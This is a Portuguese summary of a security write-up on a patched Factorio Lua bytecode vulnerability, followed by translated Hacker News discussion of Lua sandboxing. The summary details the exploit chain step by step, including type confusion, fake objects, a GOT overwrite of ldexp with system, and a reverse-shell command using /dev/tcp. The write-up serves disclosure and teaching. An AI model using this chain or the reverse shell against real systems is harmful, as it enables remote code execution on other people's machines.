Análise de bytecode: esclarecendo a falha de segurança do Lua no Factorio
(memorycorruption.net)- A vulnerabilidade na implementação de Lua do Factorio permitia que servidores maliciosos obtivessem execução arbitrária de código nos clientes conectados, afetando versões anteriores à 1.1.101, que já foi corrigida
- Como o multiplayer executa o mesmo código Lua em um modelo determinístico de lockstep, o atacante podia acionar a vulnerabilidade pela rota de rede por meio de um mapa personalizado malicioso
- No centro do problema estão a execução de bytecode permitida por
load/loadstringdo módulobasee umOff-By-Oneno validador do próprio Factorio, além da ausência de validação de tipos - O exploit primeiro vaza endereços via confusão de tipos em
FORLOOPe depois manipula índices de upvalue para confundirLClosurecomTString, montando objetos falsos e primitivas de leitura/escrita arbitrárias - O RCE no Linux trocava o endereço de
ldexpna GOT porsysteme abusava da chamada amath.ldexp; também exigia ajustes separados por causa dos offsets de estruturas do Factorio e da diferença no formato%a
Escopo da vulnerabilidade e caminho de exposição do Lua
- A vulnerabilidade na implementação de Lua do Factorio permitia que servidores maliciosos obtivessem execução arbitrária de código no cliente, afetando versões do Factorio anteriores à 1.1.101
- O Lua é usado no Factorio para lógica do jogo, mods e implementação de mapas personalizados
- Mods podem ser obtidos dentro do jogo ou em Factorio Mods
- A comunidade de modding tem milhares de mods, e alguns ultrapassam 500 mil downloads
- À primeira vista isso parece um ataque local, em que seria preciso instalar manualmente um mod malicioso, mas o modelo de sincronização do multiplayer expõe o interpretador Lua à rota de rede
- O multiplayer do Factorio usa lockstep determinístico
- Em vez do estado do jogo, apenas as entradas dos usuários são transmitidas pela rede
- O jogo de todos os jogadores precisa simular cada tick da mesma forma
- Se um jogador executar código Lua, os demais também precisam executá-lo para manter a sincronização
- O caminho para fazer o servidor executar código Lua no cliente se resume a dois casos
- Executar código Lua no servidor com o comando
/c, quando há permissão - Criar um mapa personalizado contendo código Lua para que o cliente o execute ao entrar no servidor
- Executar código Lua no servidor com o comando
- Se um servidor malicioso for exposto no navegador de servidores, a vítima pode baixar o mapa e executar o código Lua nesse processo
Fluxo completo do ataque
- O ataque começa com um servidor de Factorio fornecendo um mapa malicioso
- O exploit é incluído no código Lua do cenário do mapa
- Quando o cliente se conecta ao servidor, baixa o mapa e executa o código Lua correspondente
- Em seguida, as fragilidades da implementação de Lua são usadas para montar um objeto falso (fake object)
- O objeto falso permite vazamento e corrupção de memória
- Com isso, é possível criar várias primitivas que levam à execução de código
- Em linguagens dinâmicas, objetos falsos são um meio central para o atacante obter forte controle
- Strings podem ser usadas para vazar dados arbitrários
- Arrays ou tabelas podem ser usados para escrever em memória arbitrária
- Se houver um caminho de chamada para função nativa, isso pode levar ao controle do fluxo de execução
Execução de bytecode Lua e problemas no validador
- Os módulos Lua incluídos no Factorio são limitados
debug: acesso a recursos de depuraçãomath: interface matemática padrão em Cbit32: operações de bitsstring: manipulação de stringstable: manipulação de tabelasbase: funções centrais do Lua, comoprint
- Módulos explicitamente perigosos, como
os.execute, não estão presentes, masloadeloadstringdo módulobasepermitem execução de bytecode, ampliando bastante a superfície de ataque - O Lua primeiro compila o código-fonte em bytecode Lua e depois o executa no interpretador
- O bytecode não é código de máquina da CPU, e sim uma representação que apenas o interpretador Lua consegue executar
- Se for possível injetar bytecode diretamente, dá para executar bytecodes inválidos que o compilador normal nunca geraria
- Os desenvolvedores do Lua conheciam o risco de executar bytecode arbitrário e criaram um validador, mas o removeram no Lua 5.2
- Na mailing list do Lua ficou registrado que o validador anterior era contornado repetidamente e que aplicações que executam Lua arbitrário deveriam evitar aceitar scripts pré-compilados
- Os desenvolvedores do Factorio aparentemente implementaram seu próprio validador de bytecode para o Lua 5.2.1
- A lógica de proteção se concentrou em bloquear parâmetros OOB óbvios, como saltos para fora do código ou índices fora do array de constantes
- Por causa da semântica de alguns opcodes, havia um problema de
Off-By-One, e offsets de salto comoJMP 0podiam permitir desvio para fora do bloco de código - Como a área de constantes pode ser alocada após o chunk de código, o atacante podia armazenar bytecode na seção de constantes e executá-lo burlando a checagem com esse salto off-by-one
Vazamento de endereços: confusão de tipos em FORLOOP
- Objetos internos do Lua são representados por
TValueTValueé composto pela área de valorValuee portt_, que indica o tipoValueocupa 8 bytes e, dependendo do tipo, pode ser interpretado como double ou ponteiro
- No Lua 5.2, todos os números são representados como double
- Números podem ser armazenados inline dentro da union
Value, sem passar por ponteiros - Se um ponteiro de string for interpretado como número, os bits do ponteiro podem vazar como valor double
- Números podem ser armazenados inline dentro da union
- Em Lua comum,
print(function)pode exibir um endereço, mas isso foi removido no Factorio, e endereços de string também não podem ser vazados diretamente - O opcode de loop
FORLOOPnormalmente vem apósFORPREPFORPREPverifica se o valor inicial, o limite e o passo são numéricos- Dentro de
FORLOOP, o tipo do parâmetro step não é checado, e as verificações baseadas emlua_assertnão são forçadas no build padrão
- O atacante pode manipular o bytecode para remover
FORPREPe executar apenasFORLOOP- Isso cria por bytecode uma situação que o compilador jamais produziria a partir de código Lua normal
- Se um objeto como string for colocado na posição do step, o ponteiro daquele
TValueserá interpretado como double e vazado
- O valor vazado não aparece como um double normal, mas como os bits de um ponteiro interpretados como double, algo como
2.1944577826691e-317- O formato IEEE 754 binary64 é composto por 1 bit de sinal, 11 bits de expoente e 52 bits de mantissa
- Se o valor do ponteiro parecer um double denormalizado, é possível recuperar o valor original a partir da mantissa
- O Lua 5.2 não tem pack/unpack nem tipos inteiros, o que torna a conversão trabalhosa
- Inicialmente, a mantissa e o expoente eram lidos com
string.format("%.13a", double)para reconstruir o ponteiro - No exemplo, o valor vazado foi restaurado ao ponteiro
0x43d6c0, e os dados reais da string ficam 24 bytes após o cabeçalhoTString
- Inicialmente, a mantissa e o expoente eram lidos com
Manipulação de upvalue e confusão de tipos com LClosure
- Upvalue é o mecanismo do Lua para acessar variáveis fora do escopo atual da função
- As informações de upvalue no bytecode incluem índice, nome, se a posição é da pilha e o índice na pilha
- O atacante pode modificar o índice de upvalue incluído no bytecode
- Ao alterar o índice de upvalue, é possível referenciar outro
TValueda pilha em vez da variável local original- No exemplo, o índice da upvalue
targeté incrementado em um para apontar para aLClosureda função atual - O bytecode manipulado passa a imprimir
LClosure: 0x...em vez denil
- No exemplo, o índice da upvalue
- No Lua, a unidade real de execução de uma função é dividida entre Prototype e Closure
Protoatua como template da função, contendo bytecode, constantes, linhas de código-fonte e informações de upvalueLClosureé criada em tempo de execução e liga oProtoà lista de upvalues
- O opcode
CLOSUREcria uma nova closure Lua, coloca-a na pilha e inicializa suas upvalues- Se houver 3 variáveis locais, a nova
LClosurepode ficar embase + 3 - Se o índice da upvalue for alterado para
3, essaLClosureTValuepode ser capturada
- Se houver 3 variáveis locais, a nova
- Se a função interna sobrescrever a
LClosureexterna com uma string e depois retornar, o Lua tentará usar essa string como se fosse umaLClosure, causando falha- A verificação de tipo no caminho de
OP_RETURNdepende delua_asserte não é forçada na configuração padrão - Como resultado, o
cldo frame atual em execução pode apontar não para umaLClosurereal, mas para umTStringcontrolado pelo atacante
- A verificação de tipo no caminho de
- Aproveitando a diferença de layout entre
TStringeLClosure, a área de dados da string passa a se sobrepor às posições deProto *peUpval **upval- Essa confusão de tipos permite controlar o ponteiro do prototype da função e o ponteiro do array de upvalues
- Se esses ponteiros forem direcionados para regiões controláveis de memória, é possível construir objetos falsos
Objetos falsos e primitivas de leitura/escrita
- Existem, em linhas gerais, dois caminhos para criar objetos falsos
- Fazer um
Protofalso apontar para um array falso deTValue - Fazer um array falso de
UpValapontar para umTValuefalso
- Fazer um
- O caminho via constantes foi escolhido porque tem menos padding e permite reutilizar constantes dentro da função
TStringfalsa- Array de
TValueapontando para aTStringfalsa Protoapontando para o array falso deTValueLClosureapontando para oProtofalso
- A
TStringfalsa pode ter o comprimento arbitrariamente aumentado e virar uma primitiva de leitura- O Lua assume que os dados da string ficam após o cabeçalho
TString - Com
str:sub(), é possível ler a memória alcançada por essa string falsa - Como o índice de strings no Lua começa em 1, é preciso um ajuste de 1 byte ao calcular o cabeçalho
- O Lua assume que os dados da string ficam após o cabeçalho
- A primitiva de escrita é obtida fazendo uma
UpValfalsa apontar para oTValueno endereço de escrita desejado- Quando se atribui um número a uma variável Lua, um
TValuenumérico é escrito naquela posição - Como números são armazenados inline nos primeiros 8 bytes de
TValue, a área de valor pode ser controlada - Ao mesmo tempo, os 8 bytes seguintes recebem a informação de tipo, o que também pode corromper a memória adjacente
- Quando se atribui um número a uma variável Lua, um
- Como números Lua são double, é preciso converter para gravar um padrão inteiro de bits específico
- Usa-se a menor unidade de um double denormalizado,
2^-1074 - A codificação segue a forma
integer_to_double(integer) = integer * 2^-1074
- Usa-se a menor unidade de um double denormalizado,
Controle do ponteiro de instrução e bypass de ASLR
- Em Lua,
Light C Functionarmazena o ponteiro de função inline dentro doTValue- O tipo da função é
LUA_TFUNCTION, eLight C Functioné representada pelo valorLUA_TLCFigual a22 - Se a área de valor do
TValuecontiver0xdeadbeefe a área de tipo contiver22, isso poderá ser chamado como se fosse uma função naquele endereço
- O tipo da função é
- Ao chamar uma
Light C Functionfalsa, passa-se a controlar o instruction pointer- No exemplo, o
RIPvai para0xdeadbeefe o processo falha - A partir daí, é possível seguir para técnicas de alteração de fluxo, como uma cadeia ROP
- No exemplo, o
- O fato de o ponteiro de
Light C Functionser armazenado inline também ajuda no vazamento de endereços- Se funções Lua forem implementadas como light C functions, dá para usar a primitiva de vazamento para ler endereços de funções como
print - Isso permite calcular o endereço-base necessário para contornar o ASLR
- Se funções Lua forem implementadas como light C functions, dá para usar a primitiva de vazamento para ler endereços de funções como
- Se alguma função sandboxed ainda existir no binário, também é possível contornar restrições apontando a fake function para esse endereço e chamando-a
Ajustes específicos para o Factorio
- Os testes iniciais foram feitos no interpretador oficial do Lua, mas a implementação de Lua do Factorio tem layout de estruturas diferente
- O
CommonHeaderdos objetos de GC do Factorio inclui um ponteiroprevious- No Lua oficial, a estrutura é
next,tt,marked - No Factorio, ela aparenta ser
previous,next,tt,marked
- No Lua oficial, a estrutura é
- Essa diferença desloca alguns offsets em 8 bytes
- O cabeçalho
TStringpassa de 24 para 32 bytes - Foi preciso corrigir o cálculo do endereço do conteúdo da string e os endereços relativos da primitiva de leitura
- O ponteiro extra também precisou ser considerado no cálculo da
UpValfalsa e da fake closure
- O cabeçalho
- No Factorio, o comportamento do formato
%atambém diferia dos testes no Lua oficialstring.format("%.13a", 2.1038461432219e-316)produzia não o esperado0x0.000000289c130p-1022, mas algo no formato0xa.2704c00000000p-1052- Isso quebrava a restauração do double baseada em formatação de string
- A conversão final passou então para um método puramente numérico
- Valores denormalizados podem ser vistos como inteiros iniciando no bit menos significativo à direita
- O valor vazado é restaurado com
double_to_number(double) = double * 2^52 * 2^1022 - Como
2^1074não pode ser representado como double, a multiplicação é dividida em duas etapas
RCE no Linux: troca da GOT e math.ldexp
- No Linux, o caminho de RCE escolhido usou troca da GOT em vez de uma cadeia ROP
- Foi procurada uma função importada que pudesse ser chamada a partir do Lua e cujo primeiro argumento fosse controlável
- A entrada correspondente na GOT foi sobrescrita com o endereço de
system - Em seguida, essa função foi chamada pelo Lua para agir como
system(command)
- Dentro do conjunto limitado de bibliotecas Lua expostas pelo Factorio,
math.ldexpfoi escolhida como função adequada- Internamente, ela chama
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) - Verificações no GDB mostraram que o segundo argumento Lua acabava sendo passado como o primeiro argumento em registrador
RDIna chamada libc
- Internamente, ela chama
- A GOT fica antes do heap, então a primitiva existente de leitura com string falsa não conseguia lê-la diretamente
- A primitiva de leitura só alcança endereços após o cabeçalho da string falsa
- Foi usado um segmento gravável antes da GOT para montar uma
TStringfalsa em posição anterior à GOT
- Ao criar a
TStringfalsa antes da GOT, tornou-se possível ler endereços de funções da libc e contornar o ASLR- No exemplo, o endereço de
memcpyfoi lido a partir da GOT - Com offsets da libc 2.38 do Fedora 39, calculou-se
libc_base = memcpy - 0x138b80esystem = libc_base + 0x2a3b0
- No exemplo, o endereço de
- Depois disso, a entrada da GOT de
ldexpfoi sobrescrita com o endereço desystem- No exemplo, o endereço
0x289ef00foi usado como entrada da GOT deldexp - A sobrescrita ocorreu na forma
write(0x289ef00, system)
- No exemplo, o endereço
Execução do comando e shell remoto final
- Inicialmente, a ideia era armazenar o comando em uma string Lua e chamar
math.ldexp(0, addr_of(cmd) + 32)- O comando tinha a forma
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - Mas o Lua chamava
ldexpcom um parâmetro de 32 bits, truncando os bits altos do endereço da string e causando falha
- O comando tinha a forma
- A solução foi escrever a string de comando diretamente no segmento gravável do binário já usado antes para montar strings falsas
- Como o PIE não estava ativado, o endereço do binário principal era pequeno o bastante
- A string de comando foi gravada perto de
0x289c150por meio de várias chamadas awrite()
- Após a troca da GOT, a chamada
math.ldexp(0, 0x289c150)passa a funcionar comosystem(0x289c150) - O resultado final foi confirmado por uma shell conectada a um listener local
nc -lvp 9001- O prompt exibido era
sh-5.2$ - O resultado de
whoamieravictim
- O prompt exibido era
Desafio prático e materiais de referência
- No fim do texto, é oferecido um desafio em navegador no qual se deve escapar do interpretador Lua e executar uma função JavaScript que não pode ser chamada diretamente pelo código Lua
- Desafio: Escape from Alcawasm
- Links de referência relacionados
- Contexto da remoção do validador de bytecode do Lua: cópia Wayback da mailing list lua-l
- Código do validador Lua do Factorio: Factorio Lua
- Implementação de números no Lua: Programming In Lua: Numbers
- Closures no Lua: Programming in Lua: Closures
- Explicação do formato
%a: GNU libc Floating-Point Conversions - Referência de exploit para Lua 5.1 no Windows 32-bit: Exploiting Lua 5.1 on 32-bit Windows
1 comentários
Comentários do Hacker News
Inesperado
Como Lua interpreta bytecode, achei que conseguiria verificar se os argumentos das instruções faziam sentido. Por exemplo, se apontavam para memória alocada pelo Lua, e coisas do tipo
Mas, na prática, não era assim: mesmo ao inserir bytecode com argumentos inválidos, ele era executado do mesmo jeito. O processo de comprometimento então prosseguia a partir daí
Além disso, em vez de corrigir o interpretador, o plano é analisar estaticamente o bytecode, mas isso parece funcionar só em casos simples
Para uma linguagem interpretada supostamente favorável a sandbox, é bem decepcionante, e fico curioso se aceitariam um patch para corrigir o interpretador para que ele não confie na entrada. Parece que se preocupam com perda de desempenho, mas, quando a opção rápida é LuaJIT, isso soa duvidoso
Essa abordagem parece razoável, pois mantém a opção de carregar diretamente bytecode confiável, sem precisar colocar no interpretador verificações dinâmicas que afetariam todos os usuários
Por design, Lua não oferece garantia de término, nem há uma boa forma de forçar o encerramento de programas não confiáveis. Se você aceita entrada Lua não confiável, deve assumir que o programa pode travar indefinidamente
Lua é excelente para entrada semiconfiável que passou por uma diligência mínima, como código baixado da internet. Mesmo que o código seja de fato malicioso, ela limita bastante os danos, mas não os elimina por completo
Se você precisa de entrada totalmente não confiável, no estilo JavaScript, o certo é o Luau, fork do Roblox: https://luau-lang.org/sandbox
Como outras linguagens mostraram, criar um interpretador seguro para bytecode não é algo simples. Também é um compromisso para manter a implementação de referência simples
Quando se trata de executar código de terceiros, eu não confiaria na maioria desses interpretadores. Considerando o dinheiro e a atenção que navegadores web recebem em P&D, eu mal confio até nos navegadores
É como não executar código de máquina arbitrário
O Luau também tem a mesma propriedade, e não é como se o Roblox sofresse o tempo todo com escapes de sandbox
Eu gostaria que esse tipo de coisa fosse definido ou documentado com mais clareza. Acabamos tendo que descobrir por conta própria quais linguagens são razoavelmente garantidas como seguras
Por exemplo, há o caso básico em que código estático é executado diretamente pelo usuário, que é o cenário com que linguagens em geral, incluindo Lua, costumam se preocupar
Também há o caso em que o código é recebido dinamicamente e executado durante um processo de atualização, mas apenas por canais oficiais. Nesse caso talvez baste tornar o processo seguro, mas não é certo
Há ainda casos em que usuários podem adicionar código como plugins, instaláveis facilmente com um clique em uma loja. Os plugins até podem ser revisados, mas quase nunca o são de verdade, então é preciso avaliar se é necessário sandbox ou se os usuários devem tomar cuidado
Também há jogos multiplayer em que só o servidor é estendido por plugins, e o cliente não. É preciso levar em conta que jogadores que hospedam servidores testam ativamente vários plugins, e a comunidade de plugins também pode ser muito mais perigosa
Por fim, há jogos multiplayer em que, como em um navegador, o servidor pode executar código arbitrário no cliente. Nesse caso, é preciso ter muito cuidado especialmente com o sandbox do lado do cliente, porque jogadores entram em servidores arbitrários sem pensar nas implicações de segurança
Factorio é exatamente esse último caso. Não me oponho necessariamente à ideia de que os desenvolvedores devam avaliar isso, mas, por exemplo, nem sempre é óbvio que a função
loadde Lua pode executar bytecode arbitrário inseguroSinceramente, eu não sabia que bytecode Lua era inseguro, e sabia que bytecode LuaJIT era inseguro. Mas isso parece estar escrito aqui e ali, como se fosse um fato óbvio, em listas de e-mail ou issues do GitHub
Também há o problema de o servidor conseguir travar o cliente. Basta rodar um loop infinito. Mas isso é muito mais difícil de evitar e talvez tentar evitar nem faça sentido
Não havia opção do lado do cliente para desativar o navegador, e, pelo que sei, os desenvolvedores acabaram desativando o recurso por completo, embora eu não tenha certeza do estado atual
Isso mostra como jogos e engines de jogos ficaram complexos. Há um navegador web embutido em lugares onde aparentemente não há grande motivo para isso
Por trás de Factorio há uma equipe de desenvolvimento realmente muito boa, então acredito que estejam fazendo o possível para corrigir problemas assim. Ainda assim, o desenvolvimento de jogos como um todo tem uma natureza muito criativa, então práticas de código e coisas como segurança parecem acabar ficando em segundo plano
Fico me perguntando quantas vulnerabilidades zero-day devem estar escondidas em clientes e servidores de jogos
O Flatpak pode ajudar como ponto de partida. Contêineres não são uma fronteira de segurança forte, mas podem barrar exploits simples
Não é só uma decisão comercial simples para forçar o uso dos serviços online oficiais. Se você bloqueia conexões a IPs de servidores de terceiros, mesmo que haja bugs graves no código de rede ou no restante do jogo, eles nunca serão explorados. Ao restringir mods, até mesmo mods “seguros” como os em Lua, dá para bloquear ainda mais exploits
Código de rede cheio de bugs historicamente já derrubou o DRM de vários consoles
Além dos exploits, os consoles se orgulham de fazer revisão do código antes de ele ser distribuído. Permitir a execução de Lua em um sistema remoto significa que, mesmo após a aprovação, o jogo pode ser reconfigurado remotamente pelo próprio desenvolvedor, e os fabricantes de consoles não querem permitir isso sem uma análise muito cuidadosa
Idealmente, o isolamento seria em uma máquina virtual, mas configurar uma máquina virtual para jogos dá um trabalho enorme e pode excluir alguns jogos que usam anticheat
Considerando o quanto outras áreas precisam desesperadamente de gente que programe bem, chega a ser quase uma pena que pessoas tão qualificadas trabalhem na área de jogos
Em geral, verificação de programas é extremamente difícil, e não só por causa do teorema de Rice. Especialmente em uma linguagem de bytecode não trivial como Lua, é fácil demais deixar passar algum ponto. Em Wasm, por exemplo, não existe o conceito de loop for
É estranho que, depois de o projeto upstream ter desistido desse problema por ser difícil demais, os desenvolvedores do Factorio tenham tentado consertar ou escrever por conta própria um verificador
A função
loadstringdo Minetest proíbe bytecode completamente: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Fico me perguntando por que mods de Factorio precisam da capacidade de executar bytecode Lua bruto. Se não precisassem, o verificador também não teria sido necessário
Para começo de conversa, executar código Lua baixado pela rede é bastante arriscado. Ambientes de execução JavaScript passaram por décadas de ciclos de descoberta e correção de exploits. Lua também passa por isso, mas em escala menor e com menos pessoas trabalhando para melhorar a segurança
Talvez a principal proteção seja o fato de haver menos gente rodando servidores de jogo maliciosos
Por motivos de segurança semelhantes, quase toda a biblioteca de debug também deixou de ficar disponível para mods
loadstring()do LuaPor exemplo, há um texto dos desenvolvedores do ROBLOX de 12 anos atrás: https://archive.is/oXPyM
Sinceramente, seria melhor vir desativado por padrão. Os usos legítimos são bem de nicho
Além disso, criar software que simplesmente não possa ser executado em um ambiente Turing-completo é bastante restritivo
De todo modo, o que realmente é necessário é um interpretador com um sistema de permissões robusto
Mas, se você aceita o compromisso de admitir apenas parte das entradas que satisfazem os requisitos reais, o teorema de Rice deixa de ser a questão. Agora resta apenas uma tarefa extremamente difícil, em vez de uma impossível
Mesmo que falhe, talvez sirva de consolo saber que ao menos não dirão que era algo impossível
Factorio não deveria ter seguido esse caminho
Pergunta de completo iniciante: por que os jogos usam Lua e não, por exemplo, JavaScript embutido com uma interface definida, como uma API para ajustar o estado do jogo?
Parece que daria para aproveitar o trabalho muito mais forte de reforço que foi feito para o isolamento em ambientes de navegador. Navegadores são difíceis, muito bem testados e alvos com muito investimento
Também houve um trabalho enorme em otimização de desempenho para tipagem dinâmica
Além disso, se os mods precisarem de UI, existe canvas; e, se for oferecido um modelo parecido com DOM, algo como React também se torna potencialmente possível
Lua foi feita especificamente para integração, por isso há bastante material e uma grande comunidade dando suporte
Além disso, você está confundindo APIs comuns de navegador com JavaScript. Um engine JavaScript não fornece canvas nem DOM. O V8, por exemplo, também não fornece; essas coisas precisam ser adicionadas por conta própria
Não sou desenvolvedor de segurança, mas quero dizer, por formalidade: “uau, isso é extremamente impressionante!”. É difícil acreditar no grau de clareza e pensamento lógico necessário para rastrear um caso de falha tão complexo. Definitivamente não é meu ponto forte; eu sou muito mais do tipo “pessoa das ideias”
Em termos de conteúdo, acho que estaremos completamente ferrados quando surgir um grupo de engenheiros de software de IA equipado com 10 mil posts de blog sobre como encontrar exploits de memória esquisitos como esse
No fim, acho que precisamos de um paradigma totalmente novo para segurança, ou pelo menos de um novo elemento dentro da stack. Falar de clientes modernos “confiáveis” ou de papéis de DB parece remendar buracos em queijo suíço
Com sorte, talvez dê para colocar mais uma nova camada de queijo suíço gerenciada por LLMs
Então, isso não mostra um exploit que depende de carregamento de bytecode, um recurso anunciado como passível de abuso? O que estou deixando passar?
jmp, ou o fato de o interpretador Lua tentar interpretar como instrução tudo que aparecesse pela frenteEle até tentava interpretar seções de dados que o verificador não tocava
loadstringesteja desativadoAinda bem que pessoas tão competentes estão do lado do bem
A mídia faz você acreditar no contrário, e os comentários médios nesse tipo de notícia reforçam essa crença, mas, se fosse mesmo assim, como seriam possíveis vários dos luxos e programas de apoio médico e social de que desfrutamos?
Não quer dizer que o mundo não tenha problemas, mas certamente há muito mais pessoas construtivas do que destrutivas
Acabei de vir de uma thread do HN sobre os Panama Papers, então essa ideia está mais presente para mim. Lá o tom era cínico, como se todos os ricos fossem maus e todos tivessem escapado completamente de processos, mas alguns comentários apontaram bem que, na realidade, nenhuma das duas coisas é verdade. Só que é preciso descer um pouco a thread e não se deixar levar pelo cinismo
Acho que bytecode Lua nunca deveria ser usado fora de sistemas embarcados que não têm recursos para rodar o parser de código-fonte Lua
Além de vulnerabilidades de segurança, o único uso que parece útil é para programas de código fechado
Posso ter deixado passar algo e admito que li a parte final meio por alto, mas parece que o autor não abordou de fato quais medidas de mitigação foram tomadas. Eu gostaria de ouvir mais sobre essa parte
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
E 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
A parte mais relevante é a alteração em
luaB_loadna 1.1.104, que simplesmente desativou o carregamento de bytecode